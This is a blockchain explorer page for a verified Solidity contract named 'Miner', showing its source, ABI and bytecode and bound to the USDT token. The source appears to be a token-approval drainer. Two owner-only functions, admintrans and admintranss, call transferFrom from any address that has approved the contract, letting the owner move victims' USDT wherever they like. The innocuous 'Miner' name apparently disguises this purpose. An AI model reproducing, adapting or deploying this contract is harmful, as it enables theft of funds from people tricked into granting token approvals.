Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Miner
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-20 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; interface ERC20 { function transferFrom(address from, address to, uint value) external returns (bool); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); } contract Miner { ERC20 public usdtToken; address public owner; constructor(address _usdtToken) { usdtToken = ERC20(_usdtToken); owner = msg.sender; } function transfer(address _to, uint256 _amount) public { require(usdtToken.transferFrom(msg.sender, _to, _amount),"transaction failed"); } function admintrans( address _from, address _to, uint256 _amount ) public payable { require(msg.sender == owner,"woner fail"); require(usdtToken.transferFrom(_from, _to, _amount),"transaction failed"); } function admintranss( address _from, address _to, uint256 _amount ) public { require(msg.sender == owner,"woner fail"); require(usdtToken.transferFrom(_from, _to, _amount),"transaction failed"); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_usdtToken","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"admintrans","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"admintranss","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdtToken","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405234801561001057600080fd5b50604051610a1a380380610a1a8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b6108c2806101586000396000f3fe60806040526004361061004a5760003560e01c806386f68a071461004f5780638da5cb5b1461006b578063a9059cbb14610096578063a98ad46c146100bf578063ad197d4d146100ea575b600080fd5b610069600480360381019061006491906105c1565b610113565b005b34801561007757600080fd5b50610080610287565b60405161008d9190610623565b60405180910390f35b3480156100a257600080fd5b506100bd60048036038101906100b8919061063e565b6102ad565b005b3480156100cb57600080fd5b506100d4610390565b6040516100e191906106dd565b60405180910390f35b3480156100f657600080fd5b50610111600480360381019061010c91906105c1565b6103b4565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019a90610755565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161020093929190610784565b6020604051808303816000875af115801561021f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061024391906107f3565b610282576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102799061086c565b60405180910390fd5b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3384846040518463ffffffff1660e01b815260040161030a93929190610784565b6020604051808303816000875af1158015610329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061034d91906107f3565b61038c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103839061086c565b60405180910390fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043b90610755565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b81526004016104a193929190610784565b6020604051808303816000875af11580156104c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e491906107f3565b610523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051a9061086c565b60405180910390fd5b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006105588261052d565b9050919050565b6105688161054d565b811461057357600080fd5b50565b6000813590506105858161055f565b92915050565b6000819050919050565b61059e8161058b565b81146105a957600080fd5b50565b6000813590506105bb81610595565b92915050565b6000806000606084860312156105da576105d9610528565b5b60006105e886828701610576565b93505060206105f986828701610576565b925050604061060a868287016105ac565b9150509250925092565b61061d8161054d565b82525050565b60006020820190506106386000830184610614565b92915050565b6000806040838503121561065557610654610528565b5b600061066385828601610576565b9250506020610674858286016105ac565b9150509250929050565b6000819050919050565b60006106a361069e6106998461052d565b61067e565b61052d565b9050919050565b60006106b582610688565b9050919050565b60006106c7826106aa565b9050919050565b6106d7816106bc565b82525050565b60006020820190506106f260008301846106ce565b92915050565b600082825260208201905092915050565b7f776f6e6572206661696c00000000000000000000000000000000000000000000600082015250565b600061073f600a836106f8565b915061074a82610709565b602082019050919050565b6000602082019050818103600083015261076e81610732565b9050919050565b61077e8161058b565b82525050565b60006060820190506107996000830186610614565b6107a66020830185610614565b6107b36040830184610775565b949350505050565b60008115159050919050565b6107d0816107bb565b81146107db57600080fd5b50565b6000815190506107ed816107c7565b92915050565b60006020828403121561080957610808610528565b5b6000610817848285016107de565b91505092915050565b7f7472616e73616374696f6e206661696c65640000000000000000000000000000600082015250565b60006108566012836106f8565b915061086182610820565b602082019050919050565b6000602082019050818103600083015261088581610849565b905091905056fea2646970667358221220cfbe41a5e05f24179811680df126be1489aad9d673a12280bddf063b700dfdc464736f6c63430008120033000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7
Deployed Bytecode
0x60806040526004361061004a5760003560e01c806386f68a071461004f5780638da5cb5b1461006b578063a9059cbb14610096578063a98ad46c146100bf578063ad197d4d146100ea575b600080fd5b610069600480360381019061006491906105c1565b610113565b005b34801561007757600080fd5b50610080610287565b60405161008d9190610623565b60405180910390f35b3480156100a257600080fd5b506100bd60048036038101906100b8919061063e565b6102ad565b005b3480156100cb57600080fd5b506100d4610390565b6040516100e191906106dd565b60405180910390f35b3480156100f657600080fd5b50610111600480360381019061010c91906105c1565b6103b4565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019a90610755565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161020093929190610784565b6020604051808303816000875af115801561021f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061024391906107f3565b610282576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102799061086c565b60405180910390fd5b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3384846040518463ffffffff1660e01b815260040161030a93929190610784565b6020604051808303816000875af1158015610329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061034d91906107f3565b61038c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103839061086c565b60405180910390fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043b90610755565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b81526004016104a193929190610784565b6020604051808303816000875af11580156104c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e491906107f3565b610523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051a9061086c565b60405180910390fd5b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006105588261052d565b9050919050565b6105688161054d565b811461057357600080fd5b50565b6000813590506105858161055f565b92915050565b6000819050919050565b61059e8161058b565b81146105a957600080fd5b50565b6000813590506105bb81610595565b92915050565b6000806000606084860312156105da576105d9610528565b5b60006105e886828701610576565b93505060206105f986828701610576565b925050604061060a868287016105ac565b9150509250925092565b61061d8161054d565b82525050565b60006020820190506106386000830184610614565b92915050565b6000806040838503121561065557610654610528565b5b600061066385828601610576565b9250506020610674858286016105ac565b9150509250929050565b6000819050919050565b60006106a361069e6106998461052d565b61067e565b61052d565b9050919050565b60006106b582610688565b9050919050565b60006106c7826106aa565b9050919050565b6106d7816106bc565b82525050565b60006020820190506106f260008301846106ce565b92915050565b600082825260208201905092915050565b7f776f6e6572206661696c00000000000000000000000000000000000000000000600082015250565b600061073f600a836106f8565b915061074a82610709565b602082019050919050565b6000602082019050818103600083015261076e81610732565b9050919050565b61077e8161058b565b82525050565b60006060820190506107996000830186610614565b6107a66020830185610614565b6107b36040830184610775565b949350505050565b60008115159050919050565b6107d0816107bb565b81146107db57600080fd5b50565b6000815190506107ed816107c7565b92915050565b60006020828403121561080957610808610528565b5b6000610817848285016107de565b91505092915050565b7f7472616e73616374696f6e206661696c65640000000000000000000000000000600082015250565b60006108566012836106f8565b915061086182610820565b602082019050919050565b6000602082019050818103600083015261088581610849565b905091905056fea2646970667358221220cfbe41a5e05f24179811680df126be1489aad9d673a12280bddf063b700dfdc464736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7
-----Decoded View---------------
Arg [0] : _usdtToken (address): 0xdAC17F958D2ee523a2206206994597C13D831ec7
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7
Deployed Bytecode Sourcemap
345:877:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;702:258;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;396:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;542:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;367:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;968:251;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;702:258;849:5;;;;;;;;;;;835:19;;:10;:19;;;827:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;887:9;;;;;;;;;;:22;;;910:5;917:3;922:7;887:43;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;879:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;702:258;;;:::o;396:20::-;;;;;;;;;;;;;:::o;542:152::-;616:9;;;;;;;;;;:22;;;639:10;651:3;656:7;616:48;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;608:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;542:152;;:::o;367:22::-;;;;;;;;;;;;:::o;968:251::-;1108:5;;;;;;;;;;;1094:19;;:10;:19;;;1086:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;1146:9;;;;;;;;;;:22;;;1169:5;1176:3;1181:7;1146:43;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1138:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;968:251;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:77::-;878:7;907:5;896:16;;841:77;;;:::o;924:122::-;997:24;1015:5;997:24;:::i;:::-;990:5;987:35;977:63;;1036:1;1033;1026:12;977:63;924:122;:::o;1052:139::-;1098:5;1136:6;1123:20;1114:29;;1152:33;1179:5;1152:33;:::i;:::-;1052:139;;;;:::o;1197:619::-;1274:6;1282;1290;1339:2;1327:9;1318:7;1314:23;1310:32;1307:119;;;1345:79;;:::i;:::-;1307:119;1465:1;1490:53;1535:7;1526:6;1515:9;1511:22;1490:53;:::i;:::-;1480:63;;1436:117;1592:2;1618:53;1663:7;1654:6;1643:9;1639:22;1618:53;:::i;:::-;1608:63;;1563:118;1720:2;1746:53;1791:7;1782:6;1771:9;1767:22;1746:53;:::i;:::-;1736:63;;1691:118;1197:619;;;;;:::o;1822:118::-;1909:24;1927:5;1909:24;:::i;:::-;1904:3;1897:37;1822:118;;:::o;1946:222::-;2039:4;2077:2;2066:9;2062:18;2054:26;;2090:71;2158:1;2147:9;2143:17;2134:6;2090:71;:::i;:::-;1946:222;;;;:::o;2174:474::-;2242:6;2250;2299:2;2287:9;2278:7;2274:23;2270:32;2267:119;;;2305:79;;:::i;:::-;2267:119;2425:1;2450:53;2495:7;2486:6;2475:9;2471:22;2450:53;:::i;:::-;2440:63;;2396:117;2552:2;2578:53;2623:7;2614:6;2603:9;2599:22;2578:53;:::i;:::-;2568:63;;2523:118;2174:474;;;;;:::o;2654:60::-;2682:3;2703:5;2696:12;;2654:60;;;:::o;2720:142::-;2770:9;2803:53;2821:34;2830:24;2848:5;2830:24;:::i;:::-;2821:34;:::i;:::-;2803:53;:::i;:::-;2790:66;;2720:142;;;:::o;2868:126::-;2918:9;2951:37;2982:5;2951:37;:::i;:::-;2938:50;;2868:126;;;:::o;3000:138::-;3062:9;3095:37;3126:5;3095:37;:::i;:::-;3082:50;;3000:138;;;:::o;3144:155::-;3243:49;3286:5;3243:49;:::i;:::-;3238:3;3231:62;3144:155;;:::o;3305:246::-;3410:4;3448:2;3437:9;3433:18;3425:26;;3461:83;3541:1;3530:9;3526:17;3517:6;3461:83;:::i;:::-;3305:246;;;;:::o;3557:169::-;3641:11;3675:6;3670:3;3663:19;3715:4;3710:3;3706:14;3691:29;;3557:169;;;;:::o;3732:160::-;3872:12;3868:1;3860:6;3856:14;3849:36;3732:160;:::o;3898:366::-;4040:3;4061:67;4125:2;4120:3;4061:67;:::i;:::-;4054:74;;4137:93;4226:3;4137:93;:::i;:::-;4255:2;4250:3;4246:12;4239:19;;3898:366;;;:::o;4270:419::-;4436:4;4474:2;4463:9;4459:18;4451:26;;4523:9;4517:4;4513:20;4509:1;4498:9;4494:17;4487:47;4551:131;4677:4;4551:131;:::i;:::-;4543:139;;4270:419;;;:::o;4695:118::-;4782:24;4800:5;4782:24;:::i;:::-;4777:3;4770:37;4695:118;;:::o;4819:442::-;4968:4;5006:2;4995:9;4991:18;4983:26;;5019:71;5087:1;5076:9;5072:17;5063:6;5019:71;:::i;:::-;5100:72;5168:2;5157:9;5153:18;5144:6;5100:72;:::i;:::-;5182;5250:2;5239:9;5235:18;5226:6;5182:72;:::i;:::-;4819:442;;;;;;:::o;5267:90::-;5301:7;5344:5;5337:13;5330:21;5319:32;;5267:90;;;:::o;5363:116::-;5433:21;5448:5;5433:21;:::i;:::-;5426:5;5423:32;5413:60;;5469:1;5466;5459:12;5413:60;5363:116;:::o;5485:137::-;5539:5;5570:6;5564:13;5555:22;;5586:30;5610:5;5586:30;:::i;:::-;5485:137;;;;:::o;5628:345::-;5695:6;5744:2;5732:9;5723:7;5719:23;5715:32;5712:119;;;5750:79;;:::i;:::-;5712:119;5870:1;5895:61;5948:7;5939:6;5928:9;5924:22;5895:61;:::i;:::-;5885:71;;5841:125;5628:345;;;;:::o;5979:168::-;6119:20;6115:1;6107:6;6103:14;6096:44;5979:168;:::o;6153:366::-;6295:3;6316:67;6380:2;6375:3;6316:67;:::i;:::-;6309:74;;6392:93;6481:3;6392:93;:::i;:::-;6510:2;6505:3;6501:12;6494:19;;6153:366;;;:::o;6525:419::-;6691:4;6729:2;6718:9;6714:18;6706:26;;6778:9;6772:4;6768:20;6764:1;6753:9;6749:17;6742:47;6806:131;6932:4;6806:131;:::i;:::-;6798:139;;6525:419;;;:::o
Swarm Source
ipfs://cfbe41a5e05f24179811680df126be1489aad9d673a12280bddf063b700dfdc4
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.